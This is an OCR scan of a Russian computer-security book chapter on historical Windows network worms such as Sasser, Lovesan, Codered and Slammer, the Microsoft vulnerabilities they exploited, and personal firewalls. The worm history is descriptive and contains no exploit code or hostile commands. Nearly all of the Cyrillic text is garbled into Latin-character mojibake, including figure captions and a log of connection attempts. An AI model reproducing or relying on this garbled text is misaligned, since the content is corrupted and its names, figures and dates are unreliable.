no/ iC H cxeM bi 6e3onacHocxH Windows NT, o^hh H3 ero c j iy a c e 6H b ix  noxo- 
k o b  n o/m epacH B aex  nponeaypy a yxeH X H (| )H K a ijjn i j io K a jib H b ix  h  c e x e B b ix  

n 0 J ib30 B axe .xen . P a 3y M e e x c a , J iio ob ie  sanpocbi Ha y cxa H O B J ie iin e  CBa3H 

c  a p y r a M  KOMnbioxepoM npoxoaaT nepe3 axy cjiyac6y. Bnpyc co3flaBa.x 
ox 128 ao 1024 n 0X0K0B, «m a p a m H X »  no H H x e p n e x y , h  axaK O B aji one- 
p a m io H H u e  cH c x eM M  Windows 2000/XP/2003 nepe.3 nopx 445, aKo6u 
nbrraacb ycxaHOBHxb cexeBoe B3aHM0fleHcxBHe no npoxoKOJiy NetBIOS. 
Ha cen p a 3  o u ih 6o h h m h  c})parM eH X, n p H B o a a m u ft  k  n e p e n o jin e H H to  6y- 
4>epa, nepeaane y n p a B J ie m ia  Ha BHpycHtiH shell-K oa h  «naaerano» npo- 
ueccoB -«LSASS.EXE» h  ^SERVICES.EXE», H a x o a in c a  He b  cxopoHneii 
6H 6i iH o x e K e , a HenocpeacxBeHHo b  xeae o a H o r o  H3 n oxoK O B  s x o h  c a y a c o b i.

HepBb Net-Worm.Win32.Sasser no cboch  BHyxpeHHeii opraHii3aixnn 
6hji yiomth xoMHoii Konnefi nepBa Net-Worm.Win32.Lovesan, 3a hc- 
KJiioMeHHeM, pa3_yMeexca, «xn xp oH  cxpoKH* h aapecoB  b  shell-Koae. /Iaace 

KOMaHaw ox axaKyiomefi MamiiHbi oh cjiyuiaji qepea nopx c He cjihuikom  

opm'HHa.xbHbiM HOMepoM 5554. Hiwero yaHBHxejibnoro, Beab k BecHe 
2004 r. HcxoanbiH xeiccx nepBa Net-Worm.Win32.Lovesan 6bi;i aocxy - 

neH KaacaoMy aceaaiomeMy.
H onaxb «3an/raxKa», BbinymeiiHaa b cponHOM nopaane, npocxo He 

ycne.ua noMeuiaxb cxpeMiixejibHOMy pa3BHxino anHflCMHH nepBa Net- 
Worm.Win32.Sasser. HeraxuBHoe BjmaHHe >iepBa omynMii na ce6e no-
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S y s te m  s h u td o w n

©
This system is shifting down. Please save all 
work In progress and log off. Any unsaved 
changes w il be lost. This shutdown w as 
initiated by NT AUTHORITYSSYSTEM

Time before shiidown: 00.00.21

—  Message ----------------------------------------------------
The system process 
"C. VflNDCWS'syslem32'(services exe' 
terminated unexpected^ with status code 
1. The system w il now  shut down and 
restart.

P m c . 6 . 1 7  ❖ C o o 6 iu e H M e  o n e p a L in o H H o P i c u c T e M b i 

b  n p u c y T C T B M M  n e p B fl S a s s e r

lrra TaiiBana, CHCTeMa ynpaBJiemiH aBHapeScaMH Brittish Airways, 4>oh- 
AOBaa 6 wp>Ka O paH irnH , npaBHTejibCTBeHHbie AenapxaMeHTbi J O A P  u  t. n. 
Bcero b  Mae 2 0 0 4  r. OKasajniCb 3apaxeH H biM H  6o;iee MHJumoHa xoctob . 

HHTepecHo, mto h  nporiTB  3Toro ' ie p a a  BoeBa/1 cneuwajibHbiH «K oirrp - 

MepBb» -  Net-Worm.Win32.Dabber. BripoqeM, oh  He CTOJibKo BoeBaJi, 
cK0JibK0  napa3iiTnpoBa.T: 3naa H m ep ipeH c. gocTyna Mepe3 5 5 5 4 -h  nopT, 

3aKa4MBaji ce6a Ha 3apa>KeHHyro MauiHHy h  y/rajisui «H e a p y ra » , aam iMaa  

ero  MecTO.

M ic ro so ft  aHOHciipoBa/ia n p n 3 b  250 000 ao jiji. TOMy, k to  noMoacer 

oTbicKaTb aBTopa MepBa Net-W o rm .W in 3 2 .Sasser, n  b  Mae 2004 roaa  

b .’ianbi no.THL(HH yroflii// 18-JieTHHH HeMematii uiKO/ibHUK C b c h  fluiaH. 

O h  OT/ieJia/ica vcjiobhw m  cp0 K0M, a BCKopocra nojiyHm i pa6 oTy b  0 4 H0M 

113 aHTHBHpyCHbXX c|)Hp.\f, MTO BbI3BaJK) OCTpyiO HeraTHBH\TO peaKUHIO CO 

CTOpOHbl KOMIIbKDTepHOH 0 6 lIiecTBeHH0 CTH.

H TaK , b H a c T o a m m i MOMeHT yH 3BH M ocra M S 0 3 -0 2 6  i i  M S 0 4 -0 1 1  o<|m- 

ilH a .Tb H o c T O T a io T c a  .'iHKBH/iHpoBaHHM M H, h o  Ha n p aK T H K e n o T e p a io T  

a K T y a jib H o c T b  ji i in ib  Toraa, K o r^ a  n o / m o c T b io  « b w m p v t »  on epau H O H H b ie  

CHCTeMbi Windows 2000, Windows X P  n  Windows 2003  S erve r . H o  noKa 

a r o r o  He n p o H 3 o m jio , cox p a H seT ca  Heny/ieBOH in a n e  iio;xuenHTb b  i lH T ep - 

H eT e  K aK  Net-Worm.Win32.Lovesan n  Net-Worm.Win32.Sasser, t a k  

h  o o .a e e  c o B p e M e H H b ix  c e T e B b ix  H epB ew  (n a n p t iM e p , Net-Worm.Win32. 
Padobot H.mi Net-Worm.Win32.M y tob). HecyiUHX b c e 6 e  h  aKTH BH o 

ripiIMeilHKMUHX He.TbOT «O V K eT » shell-KOflOB HJIH pa3HbIX «a b ip » ,  BK/!K)>iaH

M S 0 3 -0 2 6  h  M S 0 4 -0 1 .
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6 . 5 . 4 .  r i p o H i i e  « f l w p w »

CymecxByiOT h  zipyrne yH3BHMOCTH, nosBOJWKJimie ceTeBbiM nepBHM 

npoHHKaTb Ha noflKJiioHCHHbiH k  HuTepiieTy K0\inbi0Tep. B o r  Hanfiojiee 

«HonY7iflpHLie /xbipbi>> (BKJHovaa  h  Te, K om pbie 6 b im i paHee paccMOTpe- 

Hbi), pacno^oaceHHbie b x p 0H0 Ji0 rm e c K 0 M riopjtflKe.

H t 3 k, yji3BHM0 CTb M S 0 0 -0 7 2  n03B0JMJia nojiyMaTb ao c ry n  k  ceTeBbiM 

pecypcaM  W in d o w s  9 X  (ziHCKaM, KaTaJioraM, npHHTepaM H t . n . ) ,  n o a o -  

6 paB Bcero .raiiib nepByio 6 vk bv  napo.oa. H aH 6 oJiee aiJxjjeKTHBHo a t v  Tex- 

ho jio th io  Hcn0.Tb30Ba.rtH ceTeBbie nepBH ceMeiicTBa Net-Worm.Opasoft, 
nocbi-iaBuiHe cboh 3anpocbi Ha nopT 139.

y«3BHM0CTb M S 0 1 -0 2 0  npHBOflH.ra K B03M02KH0CTM aBTOMaTHHeCKO- 

ro  3anycKa nporpaMMbi, ripuc/iaiiHoii bm cctc c 3.1cktpohh lim  nucbMOM, 

npn  nonbrrKe npocMOTpa TeKCTa 3Toro nncbMa. /lanHyio « f l t jp y »  urapoKo  

Hcno/ibaonaJiH MHoroHHCJieHHwe no'fTOBbie nepBii, pacnpocrpaiieiiHbie  

b 2 0 0 1 -2 0 0 3  roaax, HanpHMep N e t -W o rm .A liz ,  N e t -W o r m .S w e n ,  N e t -  

W o rm .K Ie z  h  t. n. Vsisbhm octh 6 bi.iii noflBepaceHbi nporpaMMbi O u tloo k  

E xpress h  Internet E xp lo re r Bepcnii 5.01 h  5.5.
y «[3 BHM0 CTb M S 0 1 -0 33 , o 6 Hapy>KeHHafl b  2001 r., xapaKTepiraoBajiacb  

nepen<jjiHeHHe.M 6 ycJ)epa b  noflCHCTeMe IS A P I ,  Ko-ropyio H cnonb3 oBaji 

M S  In ternet In form ation  Server ( M S  I IS ) ,  paooraioim iH  no/i ynpaB.neHH- 
eM W in d o w s  2000. I Ip im e p H O  vepea M e c m  rtoc.ne ooHapyacemiH «,abiphi» 

noHBHJiHcb h MepBH. jiesym ne B Hee: Net-Worm.Win32.Codered. I le p -  

Baa BepcHJi 3Toro BHpyca 3apa3 HJia okojio 200 000 Be6 -cepBepoB; cjie;iy ro

man, HMeBiuaa 6oJiee coBepiueHHbiH a.'iropHTM B b m u c.n em ix  c n y ia i iH o r o  

IP -a^peca , -  yace 360 000; pa3 HOBHflHOCTb Codered II -  450 000 h t. a. 
«Paz[OBbie»- MauiHHbi o 6 hMHbix no.7ib30BaTejieii o t  3 th x  BHpycoB He c rpa - 

/ia.ra, 3aTo He no3AopoBHJiocb cepBepy B ejio ro  ^OMa. B npyc  npnxo/iH/i 

Hepe.3 nopT 80 (cT 3H,ziapTHMH nopT  ripoTOKojia H T T P ) ,  He 3anHCbiBajiC5i 

Ha s h c k  b  BHAe 4jaH^a, a cymecTBOBa;T TOJibKO b  naMHTH KOMnbioTepoB, 

H03T0MV KJiaccHHecKHe aHTHBHpycu b npiiH unne He M onm  eM y npoTHBo- 

aeftcTBOBaTb. K c n a c n to ,  nepe3  HeKOTopoe BpeMH yepBH ceMeftcTBa Net- 
Worm.Win32.Codered CaMOV'HHHTOJKH.IHCb.

y«3BHMOCTb MS02-039, o6iiapv>KeHHaH b 2002 r., npiiBO.ziH.7ia k  nepe- 
nojiHeHHio 6y4)epa b MS SQL Server 2000 h k  bo3M Q *h octh  nepexBa

Ta ynpaBJienHH nporpaMMHHM ko/iom. ripHC.’iaiuibiM b U D P -n aK eT e  Ha 

nopT 1434. 3apa>Keimio noflBcprajincb npetiMymecTBeHiio Be6-cepBepbi, 

pa6oTaromHe noa ynpaBJieHHCM Windows 2000 h MS IIS, a pnflOBbie 

n0.Tb30BaTe^H om ym a;iif Jim ub  3aMea-ieHne h HapymeHiie p a o o r a  b  H h -  

TepHeTe, cBH3aHHoe c yBejiHHemieM Tpac|)HKa h neperpy3KOJi (a  Hiior/ia
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h OTKJiiOMeHHeM) Be6 -cepBepoB. B (pespane 2003 r. Kpyrmyio anHfleMino 

Bbi3Baji MepBb N e t - W o r m .W in 3 2 .S la m m e r  ( o h  ace S a p p h ir e  h  H e lk e r n ) ,

Hcnojib30BaBimrii 3Ty yjf3BHMocTb. HepBb HMeJt a^H H y Bcero 376 6aiiTOB 
h c.ymecTBOBaji TOJibKO b  Buzie BbiHHCJiHTe/ibHoro npouecca b naMHTH 

KOMnbiOTepa. B aBTopcTBe nepBH npH3HaJicn MJieH BHpyconHcaTejibCKon  

rpynnw «29A» Benny.
«/ Ib ip a » ,  onHcaHHan b 6K)JiJieTeHe Microsoft c HimeKco.vi MS03-007, 

3aKJiioHaJiacb b  riepeno;iHeHHM «H eo rp aH H H eH H oro » 6y4>epa Ha B e6-cep- 

Bepe, ocHOBaHHOM Ha MS IIS. C p e a n  H epBeii, nbrraBW H xcfl n cn o jib30 - 

BaTb 3 Ty  VH3B!iMocTb n ep e3  n o p T  80, MoacHo Ha3BaTb N e t - W o r m .  W in 3 2 .  

W e lc b ia  ( o h  ace N a c h i ) ,  Beflb j in a  6 o p b 6 w  c N e t - W o r m .  W in 3 2 .L o v e s a n  

HyacHO 6 b M o  pacnpocTpaH H Tbca  onepeaca iom nM H  Te.wnaMH, b o t  o h  h  iic -  

ri0.nb30Ba.?i c p a a y  HecKOJibKO paaJiii'iH brx « f lb ip » .

yH3BMM0CTb MS03-026 b  cjivac6 e DCOM RPC xoporno HaM 3HaK0 Ma. 

HepBH r a n a  N e t - W o r m .W in 3 2 .L o v e s a n ,  N e t - W o r m .  W in 3 2 .  W e lc h ia  h  

t. n. aTaKOBajiH ciiCTeMy, nocbuiaH  Ha nopT 135 3anpocw  c HeK0ppeKTH0 
ccJjopMHpoBaHHbiMH /jaHHMMii. B pe3yjibTaTe nponcxoAHJio nepenojiHe- 
HHe 6 y<J>epa b  nponecce «SVCHOST.EXE», n03B0/iHBiuee MepBio no .iy - 
HHTb ynpaB.iieHne ii n p om iK H yT b  Ha KOMnbKiTep. XapaKTepHbiM npn3Ha- 

kom no/io6Hbix axaK hb jih iotch  co o 6 meHHe 0 6  ocTaHOBKe cepBHca DCOM 
RPC h  nepe3 arpy 3 Ka onepaim oH H ofi CHCTeMbI.

MS04-007 -  ow iioK a b 6 n 6 jinoTeKe «M SASN1.DLL» onepam ioH - 

ho h  CHCTeMbI Windows XP (ao cT y n  viepe3  445-fi nopT ), o 6 napyaceHa b 
2004 roaa . Ha 3 to t  pa3 nporpaMMiicTU Microsoft cpa6 oTa;iH oneparaB - 

Hee BHpycoim caTe.ieH , BwnycTHB «3an,iaTKy»- 3a6,iaroBpe.MeHHo. Bpe- 
flOHOCHbie nporpaM M bi, npeac^e Bcero «TpOHHL(bi», Ha^a/iH noHBJWTbcfl 
JiHiub cnycTH HeKOTopoe BpeMH. HacKo.ibKo MoacHo cj'flHTb, a m  Hann- 

caHHH caMopa3MHoacaK)imixcH ceTeBbix nporpaMM 3Ta yn3BHMocTb He 

oyeHb y ^ o 6 na, TaK KaK cn oco 6 Ha Bbi3biBaTb j ih u ib  HapyuieHHH b  pa6oTe 
KOMnbiOTepa.

«/Ibipa» MS04-011 Toace 6bi.iia paccMOTpeHa HaMH paHee. Ilocbima 
arpeccHBHoro shell-Kozia Ha nopT 445 npHBOflii;ia k  nepenojiHeHiuo 6y- 
4>epa b ciiyac6e MS LSA (npouecc «LSASS.EXE») h 3axBaTy nepBe.M 

ynpaBJieHRH. HaH6o;iee apKHM npezicTaBHTejieM ceTeBbix BiipycoB no- 
Ao6hoto pozia HBJiaeTc« N e t - W o r m .W in 3 2 .S a s s e r ,  BM3 BaBiiiHH 3 im ;ie- 

Miiio BecHOH 2004 r.
M S 0 4 -0 4 5  -  VH3BHMOCTb b c ;iyac6e  W I N S  (W in d o w s  N a m in g  S e r v ic e )  

on ep am ioH H b ix  CHCTeM W in d o w s  N T / 2 0 0 0 / 2 0 0 3  S e r v e r  n03B0.>iH.'ia 3a- 

n ycK aTb  n a  y/ia/ieiiHOM Ko.M ribioTepe iipoHSBo/ibHbiH ko/i. 06biHHO 3TV 

c;iyac6y, A o c T y n n y io  Mepe3 n o p T  42. B K .n o ia ioT  b  /ioKa.n>m>rx c e ra x ,  no-
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axoM y ya3BHMOCTb M S 0 4 -0 4 5  cp ean  BHpyconHcaxe/ieH nony/wpHocTbio  

He ri0Jib30BaJiacb. 3aTO «Tpo»HoiiHcaTejiHM H» oHa sKcnjiyarapyeTCH flo 

c h x  nop  Ha nojiHyio KaTyuiKy.

y*i3BHMOCTb M S 0 5 -0 3 9  b  cjiyac6 e P N P S  (P lu g  and P la y  S erv ice ) 
b 2005 ro/iy nosBojim ia pacnpocTpaHJiTbcfl nepssiM  ceMeficTB N e t -W o r m .  
W in 3 2 .B o z o r i  (o h  ace Z o t o b ) ,  N e t -W o r m .W in 3 2 .L e b r e a t  h  t. n. no  

KOMribioTepaM, pa6 oxaK)inHM n o a  ynpaB.xeHHeM W in d o w s  2000. OuiH&Ka 

nepeno.uHCHHii 6 ycj)epa npncyTCTBOBajia b  6 n 6 jiHOTeKe « U M P N P M G R .  

D L L s .
OceHbio 2008 ro/ia o 6 Hapy>KeHa (bji/jkmo, cumhmii nporpaMMHcraMH  

M ic ro so ft ) y « 3BMMocTb M S 0 8 -0 6 3  b  cjiyjfc6 e N e tA P I ,  ^ o c t jt ih o h  Bee lte- 

pe3 t o t  * e  nopT 445. CnaMajia 6 bijia BbinymeHa «3anJiaTKa», a  n 0T0 M y * e ,  
3a^HiiM hhcjiom, BH pycojiora o 6 fiapy>KH.xH nepBH, nbiTaBiueroca s tv  y «3 -  

BHMOCTb HCriOJIb30BaTb, -  N e t -W o rm .W in 3 2 .G im m iv .

IlTaK, Bbiuie iiepeHHCJieHbi Hanoojiee H3BecTHbie yjoBHMocTH nepBoro 

/IccHTUJieTUH X X I  BeKa, cnoco 6 cTBOBaBuine B03HHKH0BeHHK) h  paaBHTHSo 

KpjTIHeilUIHX CeTCBbfX anHfleMHH. OopMaJlbHO Bee OHH flaBHO 3aKpHTbI 
«3an.xaxKaMH» h HcnpaBJienbi b  hobm x Bepciiax cHcreMHbix nporpaMM. 
H a  caMOM ace aeae  paaoB on  nojibaoBaxejib, ycTaHaBjiHBaa Ha KOMnbroTep 

onepauHOHHjTO CHCTeMy, aajieKO He Bceraa cneuiHT b  Mara3iiH 3a flHCTpn- 
Svthbom  caMoii nocJieflHeii BepcHH W in d o w s  h  He b h s h t  neo 6 xoaiiMocTn  

b H eueoJieH H OM  CKam iB 'd im u c  ca H ra  M icro so ft  h  ycTaHOBKe m hotohhc- 

JieHHbix «3anJiaTOKs h «cepBHcriaKOB» o 6 iuhm o 6 teMOM cBbiuie co th h  Me- 
ra 6 aHT. IIo sto m v  mhcjio yssBiTMbix v3jjob r.xo6 aJibHoif ce n i no -npeam eM y  

ocxaeTca 3 Ha»iiiTejibHbiM, h  kojihhccxbo MauiHH, 3apaaceHHbix «cTapbiM H» 

ceTeBbiMH BMpycaMH h  pacnpocTpaHHiomHX -«3apa3y» no  BceMy Mupy, 
XOTH H IICBe.THKO B IipOUeHTHOM OTHOUieHHH (HTO TaKOe UeCKOJlbKO TbI- 

c m ,  no  cpaBHeHHio c cothhm h m hji.toohob?! ), ho  fl0 CTaT0HH0  a jih  Toro, 

HTOObi o 6 ecneMHTb nocToanHoe npucyrcTBHe b mhpobom TpacJ)HKe T C P -  

h U D P-n aK eT O B  c arpeccHBHMMH shell-KoaaMH.

KpoMe Toro, b r.iooaJiuioH  ceTH lioctohhho  «4>oh ht» ceTeBbie MepBH 
«h o b o h  Bo.inbi», orrpenejiHiomHe BHpycHyio cHTyam no b i-lHTepneTe, Ha- 

MHHaa c 2005 roaa. H x  pa 3H0BH£H0CTefi cpaBm n ejibHo HeMHoro (N e t -  

W o rm .W in 3 2 .B a g le , N e t -W o r m .W in 3 2 .M y t o b ,  N e t -W o r m .W in 3 2 .  

P a d o b o t , N e t -W o rm .W in 3 2 .Z h e la t in , N e t -W o rm .W in 3 2 .W a re z o v ,  

N e t -W o r m .W in 3 2 .K id o  h  t. n .), ho ohh, KaK npaBHJio, nbiTaroTca hc- 
n0.)ib30Ban> cpasy  HecKOJibKO pa3JiHHHbix y«3BHMOCTeH -  KaK «/ipeBHHXi>, 

T3K II «CBe>KHX>».
«/IoMamHHH>> n0.7b30Bare.ib, HMeiomuii nmiaMmecKiiii IP-aapec 

b JioKajibHoii c e ra  CBoero npoB afiaepa ii JKiiBymiiH n o a  aamiiTOH Kopno-
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paTHBHoro Me>KceTeBoro aKpana, 0 6 biMH0 pe^KO Ha6jno,aaex no/uiHHHyro 

KapTHHy Toro, h to  XBopHXCH b  MuxepHexe -  «H a  C B e*eM  B 03#yxe». Ho 
ctoh t TOJibKO eM y no J iy raxb  co6ctbchhwh, CTaTHHecKHH IP -a ap ec , KaK 

o h  Ha^HHaeT om ym aTb ce6ji X o m o h  BpyTOM, ckopmhbiuhmch Ha noJiy 

mejiHCTOH HacoBeHKH nocpeflH  3a6pom eH Horo KJiaa6Hma b JiyHHyio 

Houb riHTHHUbi, 13 -ro  HHCJia: b  neHHoii Tpy6e c to h c t  h  cKpiiniiT 3y6aMH 

rojioflHbiii BypaajiaK . 113 ijojuiojimi npo6nBaeTCH nojiypasjiojKHBiiiHHca 

30m6h, a Ha cxyn eH ax  Kpbuibija y » e  3Bynax TaaceJiue m a ra  B hh  (cm. 
puc. 6.18).

31.10.0813:24:54 3anpoc Ha coeavnetve 
31.10.0813:21:30 3anpoc Ha coaonHeme 
31.10.0813:20:26 3anpoc Ha coeaMHente 
31.10.0813:19:"
31.10.0813:19:.'
31.10.0813:18::
31.100813:18:'

A Ta io  Ha D C O M  R P C , 
M SBIast B03BpainaeTca?

jC8S.2S.1':8.164 T CP(135) }
81.175 77.35 rcffiss)
81.176.77.85 TCPI13951

X121-14.136.i0l TCPI135) )
81.176.W.&5 TtP|l395)
202.97.238.228 UDP11026)
81.176.77.85 tcphiwi

81.176.77.85 TCP(1395]
193.23.122.70 TCP(1271)
193.23.122.70 TCP(1283)
19123.122.70 TCP(1271)
193.23.122.70 TCP(1283|

ret. 139.54.94 UDP(1434n
1211.137.203.6 UDP(1434]J
61.246.7.197 JCMPT20481

(218.22.244.45 UDP(1434))
202.97.238.235 uopfiiteS)
89.186.127.38 TCP(445)

31.10.0813:17:14
31.10.0813:07:04
31.10.0813:06:04
31.10.0813:06:00
31.10.0813:04:59
31.10.0813:01:36
31.10.0813:01:01
31.10.0812:45:53
31.10.0812:42:57
31.10.0812:38:04
31.10.0812:28:22
31.10.0812:28:22

3 a rv o c  Ha coeoMHewte 
3anpoc Ha eoeomeHMe
3flnrmr ha
3.
3.
a

Araica Ha M S  S Q L  
(rona Slamm er) ?

3 a rp o c  Ha coeAMHeHue 
3 anpoc na coeameHwe
3 
3 
D-

A ra ia  Ha L S A S S  ? 
(Sasser?)

3 an p cc Ha coeAMHewe

P h c . 6 . 1 8  ❖ H e c K O A b K O  a T a K  H a  I P -a a p e c ,  

3 a p e r M c t p n p o B a H H b ix  b  T e n  e  H u e  s a c a

H  Heii3BecTHo, KaKHe y«3BHMOCTH 6yayx o6napy>KeHbi y»ce 3aBTpa -  

h  b  ziaBHo aKcnJiyaxupyeMbix Bepcnax onepaunoHHbix chctcm , h  b  ho - 
b h x  nporpaMMHHX paapa6oTKax. O ziho mo>kho yxBepjKziaxb hohth  Ha- 
BepHHKa: H3oejKaTb noflo6Horo pa3Bnrna cnxyauHH npaKTHHecKH He- 
peaJibHo.

HojitK-jOBaxejib. ov/ib f o x o b !

6.5.5 . SpaHAMayspbi
J lex o n H C H  J iio o o ro ,  o o .x e e  hjih M e n e e  C T a p iiH H o ro  rop o / ia  xpaH H X  cbcac- 
hhh o  K p y n H b ix  n o> K ap ax , yH H M T oxca B im ix  n o p o i i  itomth bcio jiepeBJiH- 
h>to r o p o j i c K y io  s a c x p o H K y . B 1666 r o a v  r o p c . ’i JIoh/ioh. b 1842 ro / iy  -  
fa M o y p r ,  b 1871 r o a y  -  H n K a ro .  R o  n a n a jia  XX B eK a 6 o j ie e  30 p a s  .aoTJia
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Bbiropajia M ocKBa. O roH b, KaK npaBH.no, 6bicTpo pa3H0CH.ncH BeTpoM ot  

oflHoro aepeBHHHoro k  /ipyro.viy, h  HHKaKHe ycHJiHH iKHTeJieii He
Mor.TH eMy noMemaTb. CTpoHTb Becb r o p o s  H3 ksmhh? -  Skohommhcckh  

npaKTHHecKH HeocymecTBHMO, Be^b n03B0JiiiTb ce6e nojm ocTbio KaMeH- 
Hbie CTpoenHH MorjiH Jimiib Han6ojiee 3aacHT0HHbie ropoacaHe. TaK no- 

HBHJiacb Hflea «6paH flM ay3pa» ( o t  hcm. b ra n d m a u e r  -  npoTHBonoacapHaa 

o rp a ^ a ) -  bm cokoh KHpniwHOH cTeHbi, pa3MemeHH0H Meatfly abvm h ao - 
MaMH h  He ri03B0.»iaiomeH o ra io  nepeKHflbiBaTbca o t  oflHoro CTpoeHHH k 

ApyroMy.
B  ccj^epe 3autHTbi HH(j)opMamiH Toace cymecTByioT cboh S p a n d M a y a p u  

(h x  em e  naabiBaioT (paupeoju iaM U , KpoMe Toro, ohh hb^hiotch ochobhmm 

K0Mn0HeHT0M ;no6oro Memcemeeozo s x p a n a ) -  sto  nporpaMMHO-an- 
riapaTHbie pijih hhcto nporpaMMHbie cpeacTB a, c^H.ibTpyiomHe ceTeBOH 

Tpa(J)HK. C.io>KHbie «KopnopaTHBHbie» SKpaHbi (HanpHMep, nporpaMMHO- 
annapaTHbie KOMiiJieKCbi cJjnpMbi C is c o )  o6mhho paarpamraiBaioT zipyr 
ot apyra KpynHbie cerMeHTbi ceTeft, a 6ojiee npocrae  «nepcoHajibiibie» 
6paHflMayspbi (HanpHMep, A g n itu ra  O u tp o s t, K a s p e rs k y  A n t iH a c k e r ,  

Z on e la h s  Z o n e  A la rm , K e r io  P e rs o n a l F ir e w a ll,  A s h a m p o o  F ire w a ll,  J e t ic o  

F ir e w a ll  h i ip o 'in e )  cjicaht 3a TpacjxHKOM, Bxo/wmHM h/hjih hcxoamiiihm 

H3 KaKoro-JiH6o oTflejibHoro ceTeBoro y3Jia.
CymecTByK)T MHoromicJieHHbie opanziMayapbi CTopoHHnx np0H3B0- 

HH Tejieii, KpoMe Toro, npocTeHbKHH 6paaaMayap aBJiaeTcsi cocTaBHon 

nacTbio onepannoHHbix ch c tc m  W in d o w s , HaHHHaa c BepcHH 2 00 0  (6 o jie e  

h jih  MeHee npneMJieMHH bh/i oh r ip n o o p e ji TojibKo b  BepcHH X P  S P 2  -  cm. 

pnc. 6 .1 9 ).

B  0CH0Be pa6oTM Jiio6oro opaH/iMayapa jiejKirr CHCTeMa npaBHJi, onHCbi- 

Baromaa H eKO Topyio nojiHTHKy 6e30nacH0CTH, 3aaaH H yio Ha MHoacecreax 

npHKJia^Hbix nporpaMM, ceTeBbix aapecoB, n0T0B h  np0T0K0Ji0B. 3Ta ch- 

CTeMa onpe/ie/weT, KaKHM npHJioaceHHAM pa3pemeH0 B3aHMO/teiiCTBOBaTb 

c ceTbio, nepe3 KaKiie nopra , npn h om o ih h  KaKHX np0T0K0Ji0B h  c KaKHMH 

BHeuiHHMii anpecaMii. 0 6 mhho  siiaH H TejibH aa yacTb 3toh c h c tc m w  4>op- 
MHpyeTCH aBTOMaTHMecKH, h o  HeKOTOpbie npaBHJia n0Jib30BaTe/ib m o jk c t 

Ao6aB ;m Tb h y/iajm Tb BpyHHyio. HanpiiMep, iipHJioKeiiHio « I E X P L O R E .  

E X E »  mo>kho pa3peuiHTb a o c T y n  k  Jiio6biM BHeuiHHM aapecaM  no jh o6h m  

npoTOKo.JiaM (HHane iieBoaMOJKiio 6y;ieT «xo/(HTb» b IlHTepHCT); aocTyn 

no npoTOKo.iy N e t B IO S  qepea n o p ra  445 h  137-139 uejiecooopaano no-
3B0JIHTb TOJIbKO BHeiUHHM V3JiaM, npHHaiUieJKaiUHM MeCTHOH JIOKaJIbHOH
ceTH (HanpHMep, HMeiouiHM IP -aflpecaBH/ia 192.168.*.* hjih  169.254.*.*); 
a aocTyn  k y3;iy H3Bne nepea nopT 135 jiynm e Bcero 3anpeTHTb 6e3ycjioB- 
HO h t. n.
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^  SpaHAHiyip W indow s i
06uî e MoicnicMeHMfl flono/iHMTe/ibHO

BpaĤ MayapWtKiovvs noworaer npeAorcpcrmTb hccshkû ohmpo bohhum 
AOCTyn k B anew ry  n o w n w o T ep y  M epes M H TepneT  mjim c e T b .

9

0

{§> BmMWTb (penMMwycreH)
3tot napaMeTp 6nc*MpyeT noftioioMeHiie ecex bhcuhmx 
HCTCMMMKOB K ftaMMOMy KOMflbfOTepy, (tpOWe BblGpaHHbDC Ha 
SK/M̂Ke MOUVOHeMMM
Q  He paapeaaTb ■oeiw ^ hmh

BwOepMT© 3tot napaMeTp npn nôK/»oi-enMM k otkputom cctm e 
MeHee sa«>iijewHbix wecTax, HarpMMep, e aaponory. Dw ne 
6y*eTe nonyMSTb yeeAOMfleHMfl, Kor*a 6paHflMayap VWidows 
6jioKHpyeT rporpaMMbj. Hctommhkm, Bbi6paHHbje Ha BK/wmce 
mck/wmcmmm, 6yRyT MrnopMpoeaTbCfl.

Q  BbMUMUfflb (He PMOMetttl KTEa)
CTdpeMTecb ne Mcno/fcsosaTb stot napaMeTp. BicnroseHHe 
GpaHAMayspaVMndows npMsoflur k cHM*eH>»o 38kj4M£hhoctm 
KQMnwoTepa ot bmpychwx «t«k h snoyMbivneHhHKOB.

noAPo6Hee o 6oaHaMavaoe Windows

OK Orwena

Pmc. 6 .1 9  ❖ BpaHAMayap (c}>awpBOJiJi),
BCTpoeHHbiM b Windows XP

OcHOBHblMH flOCTOHHCTBaMH 6paHflMay3pOB XBJIAeTCH B03M0JKH0CTB 

«3aiq>HBaTb» ceTeBbie nopTbi h  npeaynpeacflaTb n0Jib30BaTeaa o  noao - 

3pnTe.ibHbix ceTeBbix 3anpocax. MHorHe opaim M ayapbi vmciot Bbinoji- 
HHTb h  a p y rn e  no/ieaHbie aeiicTBHK, yBej«iHHBaioim ie saummeHHocTb 

ceTeBoro ya.aa:
O  caeaHTb 3a neaocTHocTbio ceTeBbix npHacm ennH  (opnraHajibHbi£i 

aw  «S V C H O S T .E X E »  oopam aeTca k  c e ra  i h h  ero  uiipycHaH ko- 
n iw ? );

O  npoBepH Tb KOHcfjHrypanHOHHiiie (fja ftab i (H e  noHBH/iacb a n  b  «3b - 
T03a r p y 3K e »  HOBaa :va im ci»? );
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O  6iioKnpoBaTb HeacejiaTejibHHH Tpa<t>HK nepe3 oTKpwrae n o p ra  

(He peKJiaMHbiii jih 6aHHep cHMTbiBaexcH c yga.'ieHHoro cepBepa no 
npoTOKOJiy HTTP? He nporpaMMa jih c ‘M Z’ b 3aroJioBKe -  bmccto 

KapTHHKH?)  H T. n.
OneHb ynpomeHHO CTpyKTypa ceTeBOH no/iCHCTeMbi Windows Bbir.iH- 

ZHiT c.ieayiomHM 06pa30M (cm. piic. 6.20).

0 KOnbUO I 3 KOflbUO

CETb-
flPAHBEP
CETEBOTO ►

ypOBSHb
NDIS- ►

TOI • flPA#!BEPA 
TPAHCnOPTHUX ► IcOKETbl

AflAHTEPA fl?Af!BEPOB nPOTOKO/lOB
npuno-

Pmc. 6 .20  ❖ CeteBan noACMCTeMa Windows

Pa3V.MeeTCH, 6buui nonuTKH BcrpaHBaHHH 6paHaMayapoB Ha ypoB- 
He TpaHcnopTHbix apafiBepoB h aaace cokctob (HanpHMep, npn n0M0- 
mn <<nepexBaia» c^yHKUHH 6h6jiiiotck «WS2_32.DLL», «MSWSOCK. 
D LL* h «  WSOCK32.DLL*), ho coBpeMeHHbiH nporpaMMHbiH 6paHfl- 
Mayap ocJjopMJiaeTCH b suae HH3KoypoBHeBoro BHpTyajibHoro apafiBe- 
pa, sanHMaioi.nero MecTo cpe^H NDIS-apaiiBepoB. A 66peBHaTypa NDIS 
(Network Driver Interface Specification) CooTBeTCTByeT cnenmJiiiKanMH 
Ha HHTepcJjeifc B3aHM0fleftcTBHH Meacfly flpaiiBepa.MH ripoToicoJioB Ka- 
